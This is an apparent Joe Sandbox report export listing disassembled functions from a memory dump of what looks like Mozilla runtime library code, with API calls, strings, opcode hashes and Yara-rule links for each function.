Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 422778c1110384efd47eac552b24116c6f4bde08652c855c58eaffb06a085b22
Instruction ID: aef815f91eb61fe11cb5a56f30031b31ee8cb23227dae929c3eadaac6712773f
Opcode Fuzzy Hash: 422778c1110384efd47eac552b24116c6f4bde08652c855c58eaffb06a085b22
Instruction Fuzzy Hash: 532102B0740218ABFB116A648C89FBB73BCEFD6704F014528F6059B680D674AD54C6A1

Function 6C54F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C53CBE8: GetCurrentProcess.KERNEL32(?,6C5031A7), ref: 6C53CBF1
Part of subcall function 6C53CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5031A7), ref: 6C53CBFA

Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C514A68), ref: 6C54945E
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C549470
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C549482
Part of subcall function 6C549420: __Init_thread_footer.LIBCMT ref: 6C54949F

GetCurrentThreadId.KERNEL32 ref: 6C54F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C54F598), ref: 6C54F621

Part of subcall function 6C5494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5494EE
Part of subcall function 6C5494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C549508

GetCurrentThreadId.KERNEL32 ref: 6C54F637
AcquireSRWLockExclusive.KERNEL32(6C58F4B8,?,?,00000000,?,6C54F598), ref: 6C54F645
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8,?,?,00000000,?,6C54F598), ref: 6C54F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C54F62A

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: ec2398bd674e43430b9502556a2bf30fe868695730bc74cd5abd7c5f7de464ed
Instruction ID: 8c2b1caf3c46e41d6699af5dfb1ce7c8c63e492a956d56fec540ed7aa7a5a1ce
Opcode Fuzzy Hash: ec2398bd674e43430b9502556a2bf30fe868695730bc74cd5abd7c5f7de464ed
Instruction Fuzzy Hash: CD11C431202224AFCB04AF58DD449E57B7DFB87358B515116EA0583F02CB31AC25CBA4

Function 6C512070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C53AB89: EnterCriticalSection.KERNEL32(6C58E370,?,?,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284), ref: 6C53AB94
Part of subcall function 6C53AB89: LeaveCriticalSection.KERNEL32(6C58E370,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C53ABD1

LoadLibraryW.KERNEL32(combase.dll,6C511C5F), ref: 6C5120AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C5120CD
__Init_thread_footer.LIBCMT ref: 6C5120E1
FreeLibrary.KERNEL32 ref: 6C512124

Strings

CoInitializeSecurity, xrefs: 6C5120C7
combase.dll, xrefs: 6C5120A9

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: c1992ba12db05286dcdc0a76b7d2d4558df85174b4ace5f1ca9ea494d170776c
Instruction ID: b7b96916b471eb2cf0eddc61c2e15e6831d60734a6afe44fbad77dff3537f7f5
Opcode Fuzzy Hash: c1992ba12db05286dcdc0a76b7d2d4558df85174b4ace5f1ca9ea494d170776c
Instruction Fuzzy Hash: 11219A76202229EFEF11CF95DC4CD8A3B7AFB4B324F125214FA0492A91D7319861CF64

Function 6C5676C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C5676F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C567705

Part of subcall function 6C51CA10: malloc.MOZGLUE(?), ref: 6C51CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C567717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C56778F,00000000,00000000,00000000,00000000), ref: 6C567731
free.MOZGLUE(00000000), ref: 6C567760

Strings

}>Tl, xrefs: 6C5676C4

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>Tl
API String ID: 2538299546-204987108
Opcode ID: 79748319214348d0750862c3de7244bc0ad707dd57c11b8121506e41683d4f24
Instruction ID: 32232609e8e13c59dbfaa0391faa3f3b7dd81018a6b0735ae9d7901342bce718
Opcode Fuzzy Hash: 79748319214348d0750862c3de7244bc0ad707dd57c11b8121506e41683d4f24
Instruction Fuzzy Hash: 2A11C8B1905225ABEB10AF768C44B6BBFE8EF46354F044529F848D7700F7719D4487E2

Function 6C511FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C53AB89: EnterCriticalSection.KERNEL32(6C58E370,?,?,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284), ref: 6C53AB94
Part of subcall function 6C53AB89: LeaveCriticalSection.KERNEL32(6C58E370,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C53ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C511FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C511FFD
__Init_thread_footer.LIBCMT ref: 6C512011
FreeLibrary.KERNEL32 ref: 6C512059

Strings

CoCreateInstance, xrefs: 6C511FF7
combase.dll, xrefs: 6C511FD9

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 2979f24f087a9566da1ab77df96ed4f9d17c2606682f9e9ff62216a9c755a598
Instruction ID: 394bddc1fa4909aad98928842b50308b5de33bee03b26ee670b24b0c97213704
Opcode Fuzzy Hash: 2979f24f087a9566da1ab77df96ed4f9d17c2606682f9e9ff62216a9c755a598
Instruction Fuzzy Hash: DE11D0B4206224EFEF10DF55CC5CE5A3B78EB9B355F115229FD0582A81D7309810CF65

Function 6C510EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C53AB89: EnterCriticalSection.KERNEL32(6C58E370,?,?,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284), ref: 6C53AB94
Part of subcall function 6C53AB89: LeaveCriticalSection.KERNEL32(6C58E370,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C53ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C53D9F0,00000000), ref: 6C510F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C510F3C
__Init_thread_footer.LIBCMT ref: 6C510F50
FreeLibrary.KERNEL32(?,6C53D9F0,00000000), ref: 6C510F86

Strings

CoInitializeEx, xrefs: 6C510F36
combase.dll, xrefs: 6C510F18

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 493a31e7597a943bece0cac50d8a8a4338825efc6104a9ba719775c4f2c3144c
Instruction ID: 6e45645091cdcc40abd95abd67c4136293c3d0705a6d4e7510a620d26f98ff62
Opcode Fuzzy Hash: 493a31e7597a943bece0cac50d8a8a4338825efc6104a9ba719775c4f2c3144c
Instruction Fuzzy Hash: DC11A07420B2609BEF00DF54CD0CA4E3778EB8F325F12572AE90592A82D730A815CA69

Function 6C54F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C514A68), ref: 6C54945E
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C549470
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C549482
Part of subcall function 6C549420: __Init_thread_footer.LIBCMT ref: 6C54949F

GetCurrentThreadId.KERNEL32 ref: 6C54F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54F561

Part of subcall function 6C5494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5494EE
Part of subcall function 6C5494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C549508

GetCurrentThreadId.KERNEL32 ref: 6C54F577
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F585
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C54F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C54F56A
[I %d/%d] profiler_resume, xrefs: 6C54F239
[I %d/%d] profiler_pause_sampling, xrefs: 6C54F3A8

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 543e372a39f940d0850f48952d6392ca4f4150f9b2946452e5f5d15aac94c4e8
Instruction ID: 30e4ce680e2015200256d49212d9420f7478070cfdbabba0d186b26fd69fdd62
Opcode Fuzzy Hash: 543e372a39f940d0850f48952d6392ca4f4150f9b2946452e5f5d15aac94c4e8
Instruction Fuzzy Hash: 5DF0B475202220AFDA007B68DC48AAA77BCFBCB39DF015112EA0583702DB354C048779

Function 6C510E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C510DF8), ref: 6C510E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C510EA1
__Init_thread_footer.LIBCMT ref: 6C510EB5
FreeLibrary.KERNEL32 ref: 6C510EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C510E9B
kernel32.dll, xrefs: 6C510E7D

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 5066dbd611e54c35378f21d6ce3eeeed0fa7213a473f66805eeef41c013dde10
Instruction ID: 0f049f06bc9166d63fd8d89d737e7ba8131059f1dfb1a141c37db633571a9a0d
Opcode Fuzzy Hash: 5066dbd611e54c35378f21d6ce3eeeed0fa7213a473f66805eeef41c013dde10
Instruction Fuzzy Hash: AD012C747062A1CBFE009FD9CC58A4237B5F78F314F122716E915C2F40D774A418CA99

Function 6C54F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C514A68), ref: 6C54945E
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C549470
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C549482
Part of subcall function 6C549420: __Init_thread_footer.LIBCMT ref: 6C54949F

GetCurrentThreadId.KERNEL32 ref: 6C54F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C54F598), ref: 6C54F621

Part of subcall function 6C5494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5494EE
Part of subcall function 6C5494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C549508

GetCurrentThreadId.KERNEL32 ref: 6C54F637
AcquireSRWLockExclusive.KERNEL32(6C58F4B8,?,?,00000000,?,6C54F598), ref: 6C54F645
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8,?,?,00000000,?,6C54F598), ref: 6C54F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C54F62A

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 66db141f4b308d53c42db791c74be61a8bc14b8a9260adb5df84eece6051af22
Instruction ID: 0eb134916ea17371245fe8f9b00592b42f169679e575e99ec618c977b8d37e81
Opcode Fuzzy Hash: 66db141f4b308d53c42db791c74be61a8bc14b8a9260adb5df84eece6051af22
Instruction Fuzzy Hash: 68F0BE75202220AFDA007B68CC48A6A7BBCFBCB3ADF025112EA0583712CB364C058779

Function 6C5405F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C53CFAE,?,?,?,6C5031A7), ref: 6C5405FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C53CFAE,?,?,?,6C5031A7), ref: 6C540616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C5031A7), ref: 6C54061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C5031A7), ref: 6C540627

Strings

<jemalloc>, xrefs: 6C5405FA, 6C54060F
: (malloc) Error in VirtualFree(), xrefs: 6C54061B, 6C540625

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: a61c52744c51eb04bf1171a09496b09afa1ae4f0f298478586aa23bdb94fc202
Instruction ID: e9443c089e9ed0fd103f4c01d61283602bb1b5c4df7db4b058ad608b0db79351
Opcode Fuzzy Hash: a61c52744c51eb04bf1171a09496b09afa1ae4f0f298478586aa23bdb94fc202
Instruction Fuzzy Hash: 9CE08CE2A0202037F524225AAC86DBB761CDBC6134F080139FD0D82701EA4ABD1A51F6

Function 6C5105F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f3934bbddc50cfddd60db2061a3c23844364e95fef53113e6c1295a8e83a083
Instruction ID: e248674010e0cbbdcd711445da94accc48cea934f8baa33614a95d789dfdb84c
Opcode Fuzzy Hash: 9f3934bbddc50cfddd60db2061a3c23844364e95fef53113e6c1295a8e83a083
Instruction Fuzzy Hash: 0EA14AB0A05655CFEB14CF29C994A9EFBF1BF89304F44866ED44A97B00E730A955CF90

Function 6C5614A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5614C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5614E2
GetCurrentThreadId.KERNEL32 ref: 6C561546
InitializeConditionVariable.KERNEL32(?), ref: 6C5615BA
free.MOZGLUE(?), ref: 6C5616B4

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 5f9b3ca2dbdb58ef662557a43da9295b173c9d2bddbaa7f318b62a9be70b264f
Instruction ID: f397422736439b9990506aecddafe3ff6112542bfe087ae00763f51e4f69104f
Opcode Fuzzy Hash: 5f9b3ca2dbdb58ef662557a43da9295b173c9d2bddbaa7f318b62a9be70b264f
Instruction Fuzzy Hash: 9F61EE75A00750DBDB119F21CC80BEBB7B4BF8A308F45991DE98A57A11EB30E958CB91

Function 6C559F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C559FDB
free.MOZGLUE(?,?), ref: 6C559FF0
free.MOZGLUE(?,?), ref: 6C55A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C55A0BE
free.MOZGLUE(?,?), ref: 6C55A0D5
free.MOZGLUE(?,?), ref: 6C55A0EB

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 3a286f00b47852735b2202f05b48dee8c277f327ab9077466c6b498b202518c5
Instruction ID: 508624296d171faaff5749bd6f5300fd71bf583f5e22f7debc1ebf8be0986687
Opcode Fuzzy Hash: 3a286f00b47852735b2202f05b48dee8c277f327ab9077466c6b498b202518c5
Instruction Fuzzy Hash: 2161B175809641DFC711CF18C88056AB3F5FFC8328F94465AE8599B702E732E996CBD1

Function 6C55DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C55DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C55D38A,?), ref: 6C55DC6F
free.MOZGLUE(?,?,?,?,?,6C55D38A,?), ref: 6C55DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C55D38A,?), ref: 6C55DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C55D38A,?), ref: 6C55DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C55D38A,?), ref: 6C55DD4A

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 05290767397dbe1afc462a5b07215883b99d6627e4f744049e0d6e27afa0b48e
Instruction ID: f387f4ef77ed367164de09b69ae83a68806b493f03730246278059ed28e0eda0
Opcode Fuzzy Hash: 05290767397dbe1afc462a5b07215883b99d6627e4f744049e0d6e27afa0b48e
Instruction Fuzzy Hash: 71417E76A00615CFCB00CFA9CD84A9AB7F5FF89314B95456AD945ABB11D731FC10CB90

Function 6C55C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C55C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C55C842

Part of subcall function 6C55CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C57B5EB,00000000), ref: 6C55CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C55C863
std::_Facet_Register.LIBCPMT ref: 6C55C875

Part of subcall function 6C53B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C57B636,?), ref: 6C53B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C55C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C55C8BC

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
